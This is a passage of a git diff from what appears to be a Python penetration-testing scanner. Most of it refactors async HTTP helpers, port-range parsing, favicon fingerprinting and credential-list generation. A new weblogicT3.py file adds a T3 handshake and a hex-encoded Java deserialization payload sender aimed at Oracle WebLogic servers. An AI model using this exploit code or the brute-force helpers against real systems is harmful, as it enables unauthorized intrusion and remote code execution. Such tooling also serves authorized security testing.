print(t.scheme) + # print(t.url_no_param) + # print(t.url_no_path) diff --git a/core/public.py b/core/public.py index 0a56297..8bacaf4 100644 --- a/core/public.py +++ b/core/public.py @@ -4,13 +4,7 @@ # @Time : 2021-11-26 20:30 try: - from abc import abstractmethod, ABCMeta - import logging - import openpyxl - import asyncio import sys - import requests - import abc import re import chardet import time @@ -18,23 +12,6 @@ import base64 import json import os - import socket - import copy - import hashlib - from tqdm import tqdm - from core.request.asynchttp import * - from spider.common.config import * - from common.tools import * - - if sys.platform == 'win32': - asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) - - # if sys.platform == 'win32': - # loop = asyncio.ProactorEventLoop() - # asyncio.set_event_loop(loop) - - requests.packages.urllib3.disable_warnings() - abs_path = os.getcwd() + os.path.sep # 路径 except ImportError as e: - print('import public exploit module error, {}', e.__str__()) - exit(0) \ No newline at end of file + print('[-] import public module error, {}', e.__str__()) + exit(0) diff --git a/core/request/asynchttp.py b/core/request/asynchttp.py index e96b821..306e76b 100644 --- a/core/request/asynchttp.py +++ b/core/request/asynchttp.py @@ -3,20 +3,17 @@ # @Time : 2021-08-27 22:06 import asyncio -from typing import Union, Tuple, Any - import aiohttp import random -import ssl -import certifi +import hashlib +from typing import Union, Tuple, Any -# @ Harvester class AsyncFetcher: @staticmethod def getUserAgent(): - userAgents = [ + user_agents = [ 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_0) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4', @@ -25,150 +22,79 @@ def getUserAgent(): 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2', 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11', ] - return random.choice(userAgents) + return random.choice(user_agents) @staticmethod - async def fetch(session, url, params='', json=False) -> Union[str, dict, list]: + async def fetch(session, url, params=None, json=False, *args, **kwargs) -> Union[str, dict, list]: try: - if params != '': - # sslcontext = ssl.create_default_context() - async with session.get(url, verify_ssl=False, params=params, timeout=15) as response: - await asyncio.sleep(2) - return await response.text() if json is False else await response.json() + if params is None: + async with session.get(url, verify_ssl=False, *args, **kwargs) as response: + if response is not None: + await asyncio.sleep(2) + return await response.text() if json is False else await response.json() else: - # sslcontext = ssl.create_default_context() - async with session.get(url, verify_ssl=False, timeout=15) as response: - await asyncio.sleep(2) - return await response.text() if json is False else await response.json() + async with session.get(url, verify_ssl=False, params=params, *args, **kwargs) as response: + if response is not None: + await asyncio.sleep(2) + return await response.text() if json is False else await response.json() except Exception as e: - # print('An exception has occurred, {}'.format(e.__str__())) return '' @staticmethod - async def fetch2(session, url, params=''): - headers = {'User-Agent': AsyncFetcher.getUserAgent()} + async def post_fetch(session, url, data=None, params=None, json=False, *args, **kwargs): try: - if params != '': - sslcontext = ssl.create_default_context(cafile=certifi.where()) - async with session.get(url, ssl=sslcontext, headers=headers, params=params, timeout=10) as response: - # print(response) - await asyncio.sleep(2) - return response + if params is None: + async with session.post(url=url, verify_ssl=False, data=data, *args, **kwargs) as response: + if response is not None: + await asyncio.sleep(2) + return await response.text() if json is False else await response.json() else: - sslcontext = ssl.create_default_context(cafile=certifi.where()) - async with session.get(url, ssl=sslcontext, headers=headers, timeout=10) as response: - await asyncio.sleep(2) - return response - except Exception as e: - # print('An exception has occurred, {}'.format(e.__str__())) + async with session.post(url=url, verify_ssl=False, data=data, params=params, *args, **kwargs) as response: + if response is not None: + await asyncio.sleep(2) + return await response.text() if json is False else await response.json() + except Exception: return '' @staticmethod - async def fetch4(session, urlaprams = '', json=False) -> Union[str, dict, list]: - pass - - @staticmethod - async def fetch3(session, url, params='', json=False) -> Union[str, dict, list]: + async def get_favicon_md5_fetch(session, url, *args, **kwargs): try: - if params != '': - async with session.get(url, verify_ssl=False, params=params) as response: - await asyncio.sleep(2) - return await response.text() if json is False else await response.json() - else: - async with session.get(url, verify_ssl=False) as response: + async with session.get(url, verify_ssl=False, *args, **kwargs) as response: + if response is not None: await asyncio.sleep(2) - return await response.text() if json is False else await response.json() - except Exception as e: - # print('An exception has occurred, {}'.format(e.__str__())) - return '' - - @classmethod - async def postFetch(cls, url, headers='', data='', params='', json=False): - if len(headers) == 0: - headers = {'User-Agent': AsyncFetcher.getUserAgent()} - timeout = aiohttp.ClientTimeout() - try: - if params == '': - async with aiohttp.ClientSession(headers=headers, timeout=timeout) as session: - async with session.post(url, data=data) as resp: - await asyncio.sleep(3) - return await resp.text() if json is False else await resp.json() - else: - async with aiohttp.ClientSession(headers=headers, timeout=timeout) as session: - sslcontext = ssl.create_default_context(cafile=certifi.where()) - async with session.post(url, data=data, ssl=sslcontext, params=params) as resp: - await asyncio.sleep(3) - return await resp.text() if json is False else await resp.json() - except Exception as e: - # print('An exception has occurred, {}'.format(e.__str__())) - return '' - - @staticmethod - async def postFetch2(session, url, data='', params='', json=False): - try: - if params == '': - async with session.post(url, data=data) as resp: - await asyncio.sleep(3) - return await resp.text() if json is False else await resp.json() - else: - sslcontext = ssl.create_default_context(cafile=certifi.where()) - async with session.post(url, data=data, ssl=sslcontext, params=params) as resp: - await asyncio.sleep(3) - return await resp.text() if json is False else await resp.json() - except Exception as e: - # print('An exception has occurred, {}'.format(e.__str__())) - return '' - - @staticmethod - async def postFetch3(session, url, data='', params='', json=False): - try: - if params == '': - async with session.post(url, data=data) as resp: - await asyncio.sleep(3) - return await resp.text() if json is False else await resp.json() - else: - sslcontext = ssl.create_default_context(cafile=certifi.where()) - async with session.post(url, data=data, ssl=sslcontext, params=params) as resp: - await asyncio.sleep(3) - return await resp.text() if json is False else await resp.json() + text = await response.read() + m1 = hashlib.md5() + m1.update(text) + favicon_md5 = m1.hexdigest() + return favicon_md5 except Exception as e: - # print('An exception has occurred, {}'.format(e.__str__())) return '' @staticmethod - async def takeoverFetch(session, url) -> Union[Tuple[Any, Any], str]: + async def takeover_fetch(session, url, *args, **kwargs) -> Union[Tuple[Any, Any], str]: try: url = f'http://{url}' if str(url).startswith(('http:', 'https:')) is False else url - async with session.get(url, timeout=10) as response: - await asyncio.sleep(2) - return url, await response.text() + async with session.get(url, verify_ssl=False, *args, **kwargs) as response: + if response is not None: + await asyncio.sleep(2) + return url, await response.text() except Exception: return url, '' - @staticmethod - async def takeoverFetch2(session, url) -> Union[Tuple[Any, Any], str]: - try: - url = f'http://{url}' if str(url).startswith(('http:', 'https:')) is False else url - async with session.get(url) as response: - await asyncio.sleep(2) - await response.text() - except Exception: - return '' - @classmethod - async def fetchAll(cls, urls, headers='', params='', json=False, takeover=False) -> list: + async def fetch_all(cls, urls, headers=None, params='', json=False, takeover=False, *args, **kwargs) -> list: timeout = aiohttp.ClientTimeout() - if len(headers) == 0: + if headers is None: headers = {'User-Agent': AsyncFetcher.getUserAgent()} if takeover: async with aiohttp.ClientSession(headers=headers, timeout=timeout) as session: - tuples = await asyncio.gather(*[AsyncFetcher.takeoverFetch(session, url) for url in urls]) + tuples = await asyncio.gather(*[AsyncFetcher.takeover_fetch(session, url, *args, **kwargs) for url in urls]) return tuples - if len(params) == 0: + if params is None: async with aiohttp.ClientSession(headers=headers, timeout=timeout) as session: - texts = await asyncio.gather(*[AsyncFetcher.fetch(session, url, json=json) for url in urls]) + texts = await asyncio.gather(*[AsyncFetcher.fetch(session=session, url=url, json=json, *args, **kwargs) for url in urls]) return texts else: async with aiohttp.ClientSession(headers=headers, timeout=timeout) as session: - texts = await asyncio.gather(*[AsyncFetcher.fetch(session, url, params, json) for url in urls]) + texts = await asyncio.gather(*[AsyncFetcher.fetch(session=session, url=url, params=params, json=json, *args, **kwargs) for url in urls]) return texts diff --git a/core/request/asyncsocket.py b/core/request/asyncsocket.py index f09f128..521ab79 100644 --- a/core/request/asyncsocket.py +++ b/core/request/asyncsocket.py @@ -6,6 +6,10 @@ import asyncore import socket +""" +封装用于服务端口利用 +""" + class Client(asyncore.dispatcher): def __init__(self, host, port): diff --git a/core/request/weblogicT3.py b/core/request/weblogicT3.py new file mode 100644 index 0000000..48d8816 --- /dev/null +++ b/core/request/weblogicT3.py @@ -0,0 +1,21 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Blog : https://www.cnblogs.com/zpchcbd/ +# @Time : 2021-12-07 1:18 + + +async def T3handShake(writer, reader): + headers = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' + writer.write(headers.encode()) + await writer.drain() + result = await reader.read(1024) + return result + + +async def T3SendSerialize(writer, reader, payloadObj): + payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' + payload = payload + payloadObj + payload = payload + 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' + payload = '%s%s' % ('{:08x}'.format(len(payload) // 2 + 4), payload) + writer.write(bytes.fromhex(payload)) + await writer.drain() diff --git a/core/setting.py b/core/setting.py index 52892ee..ce255b4 100644 --- a/core/setting.py +++ b/core/setting.py @@ -3,139 +3,25 @@ # @blog : https://www.cnblogs.com/zpchcbd/ # @Time : 2021-11-23 20:45 -# PROXY - -HTTP_PROXY = 'http://127.0.0.1:7890' - -# SPEED - CONCURRENCY = 500 +# PATH +LOG_PATH = "log/myscan.log" +OUTPUT_PATH = "output/" +DICT_PATH = "dict/information/" +CONFIG_PATH = "conf/myscan.yaml" +SPIDER_PATH = "spider/" +SPIDER_THIRD_PATH = "spider/thirdLib/" +EXPLOIT_PATH = "exploit/scripts/" # REGEXP - REGEXP_TITLE_STRING = r'(?P<result>[^<]+)' - REGEXP_PARAM_STRING = r'' # SQL Injection - SQL_COMMON_FALG_SIGN = '@@' - SQL_HTML_FLAG_SIGN = '.htm' - SQL_SHTML_FLAG_SIGN = '.shtm' - ERROR_PAYLOAD_XML = 'dict/payload/errors.xml' - BOOL_PAYLOAD_XML = 'dict/payload/bool.xml' - HIGH_RADIO = -1 - LOW_RADIO = 2 - -# PORT - -TOP_1000_BANNER_PORT = [80, 8983, 161, 23, 9001, 8069, 10050, 10051, 1080, 15672, 443, 8161, 5335, 5336, 2381, 4848, - 489, 7001, 110, 9300, 4567, 50000, - 3389, 3390, 33890, 3388, # top rdp - 22, 2222, 22222, 2022, # top ssh - 15000, 6379, 8089, 20880, 8000, # top redis - 21, 2121, # top ftp - 2181, # top zookeeper - 5984, 2375, 16992, 16993, 33899, 179, 1026, 2000, 8443, 445, 139, 1099, 3312, 3690, 4440, - 143, 53, 135, 8080, 22, 5901, 5432, 27017, 7809, 9200, 50070, 50075, - 3306, 3307, 3310, 3333, 10000, # top mysql - 1433, 1434, # top mssql - 11211, 1723, 111, 995, 993, 5900, 1025, 1720, 548, 113, 81, 6001, - 32768, 554, 26, 49152, 2001, 515, 8008, 49154, 1027, 5666, 646, 5000, - 5631, 631, 49153, 8081, 2049, 88, 79, 5800, 106, 2121, 1110, 49155, 6000, 513, - 990, 5357, 49156, 543, 544, 5101, 144, 7, 389, 8009, 9999, 5009, 7070, 5190, 3000, - 1900, 3986, 13, 1029, 9, 5051, 6646, 49157, 1028, 873, 1755, 2717, 4899, 9100, - 119, 37, 1000, 3001, 5001, 82, 10010, 1030, 9090, 2107, 1024, 2103, 6004, 1801, - 5050, 19, 8031, 1041, 255, 1048, 1049, 1053, 1054, 1056, 1064, 3703, 17, 808, 3689, - 1031, 1044, 1071, 100, 9102, 2869, 4001, 5120, 8010, 9000, 2105, 636, 1038, - 2601, 1, 7000, 1066, 1069, 625, 311, 280, 254, 4000, 1761, 5003, 2002, 1998, 2005, - 1032, 1050, 6112, 1521, 2161, 6002, 2401, 902, 4045, 787, 7937, 1058, 2383, 1033, - 1040, 1059, 5555, 1494, 3, 593, 2301, 3268, 7938, 1022, 1234, 1035, 1036, 1037, - 1074, 8002, 464, 497, 1935, 2003, 6666, 6543, 24, 1352, 3269, 1111, 407, 500, - 20, 2006, 1034, 1218, 3260, 4444, 264, 33, 2004, 1042, 42510, 999, 3052, 1023, - 222, 1068, 888, 7100, 1717, 992, 2008, 2007, 8082, 512, 1043, 2009, 5801, 1700, - 7019, 50001, 4662, 2065, 42, 2602, 9535, 5100, 2604, 4002, 5002, 1047, 1051, 1052, - 1055, 1060, 1062, 1311, 3283, 4443, 5225, 5226, 6059, 6789, 8651, 8652, 8701, 9415, - 9593, 9594, 9595, 20828, 23502, 32769, 33354, 35500, 52869, 55555, 55600, - 64623, 64680, 65000, 65389, 1067, 13782, 366, 5902, 9050, 85, 1002, 5500, 1863, 1864, - 5431, 8085, 10243, 45100, 49999, 51103, 49, 90, 6667, 1503, 6881, 27000, 340, 1500, 8021, - 5566, 8088, 8899, 9071, 5102, 6005, 9101, 163, 5679, 146, 648, 1666, 83, 3476, 5004, - 5214, 8001, 8083, 8084, 9207, 14238, 30, 912, 12345, 2030, 2605, 6, 541, 4, 1248, 3005, - 8007, - 306, 880, 2500, 1086, 1088, 2525, 4242, 8291, 9009, 52822, 900, 6101, 2809, 7200, 211, 800, - 987, 1083, 12000, 705, 711, 20005, 6969, 13783, 1045, 1046, 1061, 1063, 1070, 1072, 1073, - 1075, 1077, 1078, 1079, 1081, 1082, 1085, 1093, 1094, 1096, 1098, 1100, 1104, 1106, - 1107, 1108, 1148, 1169, 1272, 1310, 1687, 1718, 1783, 1840, 2100, 2119, 2135, 2144, 2160, - 2190, 2260, 2399, 2492, 2607, 2718, 2811, 2875, 3017, 3031, 3071, 3211, 3300, 3301, - 3323, 3325, 3351, 3404, 3551, 3580, 3659, 3766, 3784, 3801, 3827, 3998, 4003, 4126, 4129, - 4449, 5222, 5269, 5633, 5718, 5810, 5825, 5877, 5910, 5911, 5925, 5959, 5960, 5961, 5962, - 5987, 5988, 5989, 6123, 6129, 6156, 6389, 6580, 6901, 7106, 7625, 7777, 7778, 7911, 8086, - 8181, 8222, 8333, 8400, 8402, 8600, 8649, 8873, 8994, 9002, 9011, 9080, 9220, 9290, 9485, - 9500, 9502, 9503, 9618, 9900, 9968, 10002, 10012, 10024, 10025, 10566, 10616, 10617, 10621, - 10626, 10628, 10629, 11110, 13456, 14442, 15002, 15003, 15660, 16001, 16016, 16018, 17988, - 19101, 19801, 19842, 20000, 20031, 20221, 20222, 21571, 22939, 24800, 25734, 27715, 28201, - 30000, 30718, 31038, 32781, 32782, 34571, 34572, 34573, 40193, 48080, 49158, 49159, - 49160, 50003, 50006, 50800, 57294, 58080, 60020, 63331, 65129, 691, 212, 1001, 1999, 2020, - 2998, 6003, 7002, 50002, 32, 2033, 3372, 99, 425, 749, 5903, 43, 458, 5405, 6106, 6502, - 7007, - 13722, 1087, 1089, 1124, 1152, 1183, 1186, 1247, 1296, 1334, 1580, 1782, 2126, 2179, 2191, - 2251, - 2522, 3011, 3030, 3077, 3261, 3493, 3546, 3737, 3828, 3871, 3880, 3918, 3995, 4006, 4111, - 4446, - 5054, 5200, 5280, 5298, 5822, 5859, 5904, 5915, 5922, 5963, 7103, 7402, 7435, 7443, 7512, - 8011, - 8090, 8100, 8180, 8254, 8500, 8654, 9091, 9110, 9666, 9877, 9943, 9944, 9998, 10004, 10778, - 15742, - 16012, 18988, 19283, 19315, 19780, 24444, 27352, 27353, 27355, 32784, 49163, 49165, 49175, - 50389, 50636, 51493, 55055, 56738, 61532, 61900, 62078, 1021, 9040, 666, 700, 84, 545, - 1112, 1524, 2040, 4321, 5802, 38292, 49400, 1084, 1600, 2048, 2111, 3006, 6547, 6699, 9111, - 16080, 555, 667, 720, 801, 1443, 1533, 2106, 5560, 6007, 1090, 1091, 1114, 1117, 1119, - 1122, 1131, - 1138, - 1151, 1175, 1199, 1201, 1271, 1862, 2323, 2393, 2394, 2608, 2725, 2909, 3003, 3168, 3221, - 3322, - 3324, 3517, 3527, 3800, 3809, 3814, 3826, 3869, 3878, 3889, 3905, 3914, 3920, 3945, - 3971, - 4004, 4005, 4279, 4445, 4550, 4567, 4900, 5033, 5080, 5087, 5221, 5440, 5544, 5678, - 5730, - 5811, 5815, 5850, 5862, 5906, 5907, 5950, 5952, 6025, 6510, 6565, 6567, 6689, 6692, 6779, - 6792, - 6839, 7025, 7496, 7676, 7800, 7920, 7921, 7999, 8022, 8042, 8045, 8093, 8099, 8200, 8290, - 8292, - 8300, 8383, 9003, 9081, 9099, 9418, 9575, 9878, 9898, 9917, 10003, 10180, 10215, - 11111, - 12174, 12265, 14441, 15004, 16000, 16113, 17877, 18040, 18101, 19350, 25735, 26214, 27356, - 30951, 32783, 32785, 40911, 41511, 44176, 44501, 49161, 49167, 49176, 50300, 50500, 52673, - 52848, 54045, 54328, 55056, 56737, 57797, 60443, 70, 417, 714, 722, 777, 981, 1009, - 4224, - 4998, 6346, 301, 524, 668, 765, 2041, 5999, 10082, 259, 1007, 1417, 1984, 2038, 2068, - 4343, - 6009, 7004, 44443, 109, 687, 726, 911, 1461, 2035, 4125, 6006, 7201, 9103, 125, 481, 683, - 903, - 1011, 1455, 2013, 2043, 2047, 6668, 6669, 256, 406, 843, 2042, 2045, 5998, 9929, 31337, - 44442, - 1092, 1095, 1102, 1105, 1113, 1121, 1123, 1126, 1130, 1132, 1137, 1141, 1145, 1147, 1149, - 1154, - 1164, 1165, 1166, 1174, 1185, 1187, 1192, 1198, 1213, 1216, 1217, 1233, 1236, 1244, 1259, - 1277, - 1287, 1300, 1301, 1309, 1322, 1328, 1556, 1641, 1688, 1719, 1721, 1805, 1812, 1839, 1875, - 1914, - 1971, 1972, 1974, 2099, 2170, 2196, 2200, 2288, 2366, 2382, 2557, 2800, 2910, 2920, 2968, - 3007, - 3013, 3050, 3119, 3304, 3376, 3400, 3410, 3514, 3684, 3697, 3700, 3824, 3846, 3848, - 3859, - 3863, 3870, 3872, 3888, 3907, 3916, 3931, 3941, 3957, 3963, 3968, 3969, 3972, 3990, 3993, - 3994, - 4009, 4040, 4080, 4096, 4143, 4147, 4200, 4252, 4430, 4555, 4600, 4658, 4875, 4949, 5040, - 5063, - 5074, 5151, 5212, 5223, 5242, 5279, 5339, 5353, 5501, 5807, 5812, 5818, 5823, 5868, 5869, - 5899, - 5905, 5909, 5914, 5918, 5938, 5940, 5968, 5981, 6051, 6060, 6068, 6203, 6247, 6500, 6504, - 6520, - 6550, 6600] diff --git a/core/utils/InformationProvider.py b/core/utils/InformationProvider.py index 3a6fd6a..04c290b 100644 --- a/core/utils/InformationProvider.py +++ b/core/utils/InformationProvider.py @@ -1,49 +1,41 @@ # coding=utf-8 # @Author : zpchcbd HG team # @Time : 2021-09-06 20:31 - - +from core.data import path_dict import os -abs_path = os.getcwd() + os.path.sep - class InformationProvider(object): - fileType = 'r' - # dictPath = 'dict/information' - # dictPath = abs_path + '../dict/information' # 本地测试 - dictPath = abs_path + '/dict/information' # 真实测试 - wafPath = abs_path + '/dict/waf' - - # print(dictPath) + file_type = 'r' @staticmethod - def readFile(filename): - if os.path.isfile(filename): + def read_file(filename): + filename_path = os.path.join(path_dict.DICT_PATH, filename) + if os.path.isfile(filename_path): try: - with open(filename, InformationProvider.fileType) as f: + with open(filename_path, InformationProvider.file_type) as f: return f.readlines() except FileNotFoundError as e: print('InformationProvider file not found, {}'.format(e.__str__())) return None @staticmethod - def readDictFile(filename): + def read_dict_file(filename): if os.path.isfile(filename): try: - with open(filename, InformationProvider.fileType) as f: + with open(filename, InformationProvider.file_type) as f: return f.read() except FileNotFoundError as e: print('InformationProvider file not found, {}'.format(e.__str__())) return None @staticmethod - def generate(usernameList, passwordList): - usernameList = list(set(usernameList)) - passwordList = list(set(passwordList)) - for username in usernameList: + def generate(username_list, password_list): + username_list = list(set(username_list)) + password_list = list(set(password_list)) + for username in username_list: username = username.replace('\r', '').replace('\n', '').strip().rstrip() - for password in passwordList: + for password in password_list: if '%user%' not in password: password = password else: @@ -56,39 +48,3 @@ def generate(usernameList, passwordList): # password2 = password[0].upper() + password[1:] # if password2 != password: # yield username, password2 - - @staticmethod - def getRedisInfor(): - pass - - @staticmethod - def getMysqlInfor(): - pass - - @staticmethod - def getMongodbInfor(): - pass - - @staticmethod - def getRdpInfor(): - pass - - @staticmethod - def getRsyncInfor(): - pass - - @staticmethod - def getMssqlInfor(): - pass - - @staticmethod - def getMysqXlInfor(): - pass - - @staticmethod - def getXXXXInfor(): - pass - - @staticmethod - def getXXXInfor(): - pass diff --git a/core/utils/PortWrapper.py b/core/utils/PortWrapper.py index 1537c6c..6311a04 100644 --- a/core/utils/PortWrapper.py +++ b/core/utils/PortWrapper.py @@ -2,133 +2,123 @@ # @Author : zpchcbd HG team # @Time : 2021-09-07 20:54 -from core.setting import TOP_1000_BANNER_PORT -import IPy +from core.constant import TOP_1000_BANNER_PORT from socket import inet_ntoa from struct import pack +import IPy # for port wrapper,用来包装端口的类,默认最低扫描合并TOP100端口加上fofa/quake/shodan,配合异步端口探测 class PortWrapper(object): @staticmethod - def generateFormat(ips): + def generate_format(ips): # 输入地址段格式 - ipPortList = [] + ip_port_list = [] try: - if '-' in ips: + if isinstance(ips, list): + for ip in ips: + ip_port_list.append({'ip': ip, 'port': []}) + elif '-' in ips: # 这种情况就是 192.168.1.1-192.168.1.255 或者 192.168.1.0-192.168.1.255,192.168.3.0-192.168.3.255 if ',' in ips: # 192.168.1.0-192.168.1.255,192.168.3.0-192.168.3.255 - ipSegments = ips.split(',') - for ipSegment in ipSegments: - ipList = IPy.IP(ipSegment) + ip_segments = ips.split(',') + for ip_segment in ip_segments: + ip_list = IPy.IP(ip_segment) # print(ipList) - for ip in ipList: - ipPortList.append({'ip': ip, 'port': []}) + for ip in ip_list: + ip_port_list.append({'ip': ip, 'port': []}) else: # 192.168.1.1-192.168.1.255 - ipList = IPy.IP(ips) # print(ipList) - for ip in ipList: - ipPortList.append({'ip': ip, 'port': []}) + for ip in IPy.IP(ips): + ip_port_list.append({'ip': ip, 'port': []}) elif ',' in ips: if '/' in ips: # 192.168.1.0/24,192.168.3.0/24 - ipSegments = ips.split(',') - ipList = [] - for ipSegment in ipSegments: - ipList.extend(IPy.IP(ipSegment)) + ip_segments = ips.split(',') + ip_list = [] + for ip_segment in ip_segments: + ip_list.extend(IPy.IP(ip_segment)) # print(ipList) - for ip in ipList: - ipPortList.append({'ip': inet_ntoa(pack("!I", ip.int())), 'port': []}) + for ip in ip_list: + ip_port_list.append({'ip': inet_ntoa(pack("!I", ip.int())), 'port': []}) else: # 192.168.1.1,192.168.1.2 - ipList = ips.split(',') # print(ipList) - for ip in ipList: - ipPortList.append({'ip': ip, 'port': []}) + for ip in ips.split(','): + ip_port_list.append({'ip': ip, 'port': []}) else: if '/' in ips: # 192.168.1.0/24 - ipList = IPy.IP(ips) - for ip in ipList: - ipPortList.append({'ip': inet_ntoa(pack("!I", ip.int())), 'port': []}) + for ip in IPy.IP(ips): + ip_port_list.append({'ip': inet_ntoa(pack("!I", ip.int())), 'port': []}) else: # 192.168.1.1 # print(ips) - ipPortList.append({'ip': ips, 'port': []}) + ip_port_list.append({'ip': ips, 'port': []}) # print(ipPortList) - return ipPortList - except Exception: - print('[-] please check your ips format -> {}'.format(ips)) + return ip_port_list + except Exception as e: + print('[-] please check your ips format -> {}, error is {}'.format(ips, e.args)) exit(0) @staticmethod - def parseCommand(ports): - portList = [] + def prase_command(ports): + port_list = [] try: # 比如80-9090,70-8080 这种形式的 if '-' in ports or ',' in ports: if len(ports.split('-')) > 2 and len(ports.split(',')) >= 2: - portSegments = ports.split(',') - for portSegment in portSegments: - portStart = portSegment.split('-')[0] - portEnd = portSegment.split('-')[1] - if int(portEnd) > 65535: + port_segments = ports.split(',') + for portSegment in port_segments: + port_start = portSegment.split('-')[0] + port_end = portSegment.split('-')[1] + if int(port_end) > 65535: print('[-] please check your port format, port not allow big than 65535') exit(0) - for port in range(int(portStart), int(portEnd) + 1): - portList.append(port) + for port in range(int(port_start), int(port_end) + 1): + port_list.append(port) # 比如80-9090 elif len(ports.split('-')) == 2 and ',' not in ports: - portStart = ports.split('-')[0] - portEnd = ports.split('-')[1] - if int(portEnd) > 65535: + port_start = ports.split('-')[0] + port_end = ports.split('-')[1] + if int(port_end) > 65535: print('[-] please check your port format, port not allow big than 65535') exit(0) - for port in range(int(portStart), int(portEnd) + 1): - portList.append(port) + for port in range(int(port_start), int(port_end) + 1): + port_list.append(port) # 80,90,9090 elif len(ports.split('-')) == 1 and ',' in ports: - portList = ports.split(',') + port_list = ports.split(',') elif ports[0:3] == 'top': num = int(ports.split('top')[1]) - portList.extend(TOP_1000_BANNER_PORT[0:num]) + port_list.extend(TOP_1000_BANNER_PORT[0:num]) else: - portList.append(ports) - return portList - - # IP段 - # 比如 192.168.1.1-192.168.1.255 - # pass - - # if len(one.split("-")) == 2: - # start_port = int(one.split("-")[0]) - # end_port = int(one.split("-")[1]) - # for i in range(start_port, end_port + 1): - # if i not in port_list and (0 < i <= 65535): - # port_list.append(i) - # else: - # i = int(one) - # if i not in port_list and (0 < i <= 65535): - # port_list.append(i) + port_list.append(ports) + return port_list except Exception as e: print('[-] please check your port format, {}'.format(e.__str__())) exit(0) # generate ports @staticmethod - def generatePorts(ports, ipPortList): - portList = PortWrapper.parseCommand(ports) - for index, value in enumerate(ipPortList): - for i in portList: + def generate_port(ports, ip_port_list): + port_list = PortWrapper.prase_command(ports) + for index, value in enumerate(ip_port_list): + for i in port_list: if i not in value['port']: value['port'].append(i) if __name__ == '__main__': - test = [{'ip': '202.103.147.144', 'port': [8080, 8090]}, {'ip': '125.19.57.134', 'port': []}, - {'ip': '58.60.230.103', 'port': [8000, 2000]}, {'ip': '202.103.147.169', 'port': [25]}] - PortWrapper.generatePorts('top100', test) - print(test) + # lit = [{'ip': '202.103.147.144', 'port': [8080, 8090]}, {'ip': '125.19.57.134', 'port': []}, + # {'ip': '58.60.230.103', 'port': [8000, 2000]}, {'ip': '202.103.147.169', 'port': [25]}] + # PortWrapper.generate_port('top100', lit) + # print(lit) + + lit = PortWrapper.generate_format(['192.168.1.2','192.168.1.3']) + print(lit) + print(PortWrapper.generate_port('top100', lit)) + # print(top_banner_port[0:100]) diff --git a/core/utils/__pycache__/FuzzDifflib.cpython-38.pyc b/core/utils/__pycache__/FuzzDifflib.cpython-38.pyc deleted file mode 100644 index 9282918..0000000 Binary files a/core/utils/__pycache__/FuzzDifflib.cpython-38.pyc and /dev/null differ diff --git a/core/utils/__pycache__/InformationProvider.cpython-38.pyc b/core/utils/__pycache__/InformationProvider.cpython-38.pyc index c222452..4c16781 100644 Binary files a/core/utils/__pycache__/InformationProvider.cpython-38.pyc and b/core/utils/__pycache__/InformationProvider.cpython-38.pyc differ diff --git a/core/utils/__pycache__/PortWrapper.cpython-38.pyc b/core/utils/__pycache__/PortWrapper.cpython-38.pyc index 7f0644c..3e34e62 100644 Binary files a/core/utils/__pycache__/PortWrapper.cpython-38.pyc and b/core/utils/__pycache__/PortWrapper.cpython-38.pyc differ diff --git a/core/utils/__pycache__/PorxyProvider.cpython-38.pyc b/core/utils/__pycache__/PorxyProvider.cpython-38.pyc deleted file mode 100644 index 6d2b4c1..0000000 Binary files a/core/utils/__pycache__/PorxyProvider.cpython-38.pyc and /dev/null differ diff --git a/core/utils/cipher.py b/core/utils/cipher.py new file mode 100644 index 0000000..74a98d0 --- /dev/null +++ b/core/utils/cipher.py @@ -0,0 +1,44 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Blog : https://www.cnblogs.com/zpchcbd/ +# @Time : 2021-12-06 17:37 + +from base64 import b64encode, urlsafe_b64encode +import pyDes + +""" +比如空间搜索引擎、类似exp读取的敏感信息需要通过解密来记录,所以封装下相关加解密的函数 +""" + + +def encodeCommonBase64(content): + return b64encode(content.encode()).decode() + + +def encodeUrlBase64(content): + return urlsafe_b64encode(content.encode()).decode() + + +def decodeDes128bit(secret_key, s): + try: + cipherX = pyDes.des(' ') # 默认就需要8位,所以这里就先用空格来进行填充,后面再用解密密钥来进行填充 + cipherX.setKey(secret_key) + decodeText = cipherX.decrypt(s) + except Exception: + decodeText = '' + return decodeText + + +def encodeHtml(content): + html_escape_table = { + "&": "&", + '"': """, + "'": "'", + ">": ">", + "<": "<", + } + return "" + "".join(html_escape_table.get(c, c) for c in content) + "" + + +if __name__ == '__main__': + print(encodeCommonBase64('1234')) diff --git a/core/utils/differ.py b/core/utils/differ.py index a9ccdb9..698e4c5 